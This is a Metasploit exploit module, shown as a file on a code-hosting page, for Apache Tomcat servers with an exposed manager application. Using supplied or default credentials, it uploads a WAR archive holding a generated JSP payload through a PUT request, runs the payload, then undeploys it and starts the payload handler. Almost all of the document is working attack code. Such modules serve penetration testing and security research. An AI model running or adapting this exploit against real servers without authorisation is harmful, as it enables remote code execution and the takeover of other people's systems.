Files
metasploit-gs/modules/exploits/multi/http/tomcat_mgr_deploy.rb
T
Tod Beardsley c547e84fa7 Prefer Ruby style for single word collections
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.

This change converts all Payloads to this format if there is more than
one payload to choose from.

It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.

See:
  https://github.com/bbatsov/ruby-style-guide#collections
2013-09-24 12:33:31 -05:00

321 lines
8.8 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
'Description' => %q{
This module can be used to execute a payload on Apache Tomcat servers that
have an exposed "manager" application. The payload is uploaded as a WAR archive
containing a jsp application using a PUT request.
The manager application can also be abused using /manager/html/upload, but that
method is not implemented in this module.
NOTE: The compatible payload sets vary based on the selected target. For
example, you must select the Windows target to use native Windows payloads.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'References' =>
[
# There is no single vulnerability associated with deployment functionality.
# Instead, the focus has been on insecure/blank/hardcoded default passwords.
# The following references refer to HP Operations Manager
[ 'CVE', '2009-3843' ],
[ 'OSVDB', '60317' ],
[ 'CVE', '2009-4189' ],
[ 'OSVDB', '60670' ],
# HP Operations Dashboard
[ 'CVE', '2009-4188' ],
# IBM Cognos Express Default user/pass
[ 'BID', '38084' ],
[ 'CVE', '2010-0557' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],
# IBM Rational Quality Manager and Test Lab Manager
[ 'CVE', '2010-4094' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ],
# 'admin' password is blank in default Windows installer
[ 'CVE', '2009-3548' ],
[ 'OSVDB', '60176' ],
[ 'BID', '36954' ],
# tomcat docs
[ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
],
'Platform' => %w{ java linux win }, # others?
'Targets' =>
[
#
# detect via /manager/serverinfo
#
# do target detection but java meter by default
[ 'Automatic',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
],
#
# Platform specific targets only
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 09 2009'))
register_options(
[
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
# /cognos_express/manager/ for Cognos Express (19300)
OptString.new('PATH', [ true, "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
], self.class)
end
def check
res = query_serverinfo
disconnect
return CheckCode::Unknown if res.nil?
if (res.code.between?(400, 499))
print_error("Server rejected the credentials")
return CheckCode::Unknown
end
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? "https" : "http"),
:user => datastore['USERNAME'],
:pass => datastore['PASSWORD'],
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
:active => true
)
print_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}")
return CheckCode::Vulnerable
end
def auto_target
print_status("Attempting to automatically select a target...")
res = query_serverinfo()
return nil if not res
plat = detect_platform(res.body)
arch = detect_arch(res.body)
# No arch or platform found?
if (not arch or not plat)
return nil
end
# see if we have a match
targets.each { |t|
if (t['Platform'] == plat) and (t['Arch'] == arch)
return t
end
}
# no matching target found
return nil
end
def exploit
mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target
if (not mytarget)
fail_with(Failure::NoTarget, "Unable to automatically select a target")
end
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
end
# We must regenerate the payload in case our auto-magic changed something.
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
# Generate the WAR containing the EXE containing the payload
jsp_name = rand_text_alphanumeric(4+rand(32-4))
app_base = rand_text_alphanumeric(4+rand(32-4))
# Generate the WAR containing the payload
war = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s
query_str = "?path=/" + app_base
#
# UPLOAD
#
path_tmp = normalize_uri(datastore['PATH'], "deploy") + query_str
print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
res = send_request_cgi({
'uri' => path_tmp,
'method' => 'PUT',
'ctype' => 'application/octet-stream',
'data' => war,
}, 20)
if (! res)
fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]")
end
if (res.code < 200 or res.code >= 300)
case res.code
when 401
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
end
fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
end
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? "https" : "http"),
:user => datastore['USERNAME'],
:pass => datastore['PASSWORD'],
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
:active => true
)
#
# EXECUTE
#
jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
print_status("Executing #{jsp_path}...")
res = send_request_cgi({
'uri' => jsp_path,
'method' => 'GET'
}, 20)
if (! res)
print_error("Execution failed on #{app_base} [No Response]")
elsif (res.code < 200 or res.code >= 300)
print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
vprint_status(res.body)
end
#
# DELETE
#
path_tmp = normalize_uri(datastore['PATH'], "/undeploy") + query_str
print_status("Undeploying #{app_base} ...")
res = send_request_cgi({
'uri' => path_tmp,
'method' => 'GET'
}, 20)
if (! res)
print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]")
elsif (res.code < 200 or res.code >= 300)
print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]")
end
handler
end
def query_serverinfo()
path = normalize_uri(datastore['PATH'], '/serverinfo')
res = send_request_raw(
{
'uri' => path
}, 10)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
vprint_status(res.body)
return res
end
def detect_platform(body = nil)
if not body
res = query_serverinfo()
return nil if not res
body = res.body
end
body.each_line { |ln|
ln.chomp!
case ln
when /OS Name: /
os = ln.split(':')[1]
case os
when /Windows/
return 'win'
when /Linux/
return 'linux'
end
end
}
end
def detect_arch(body)
body.each_line { |ln|
ln.chomp!
case ln
when /OS Architecture: /
ar = ln.split(':')[1].strip
case ar
when 'x86', 'i386', 'i686'
return ARCH_X86
when 'x86_64', 'amd64'
return ARCH_X86
end
end
}
end
end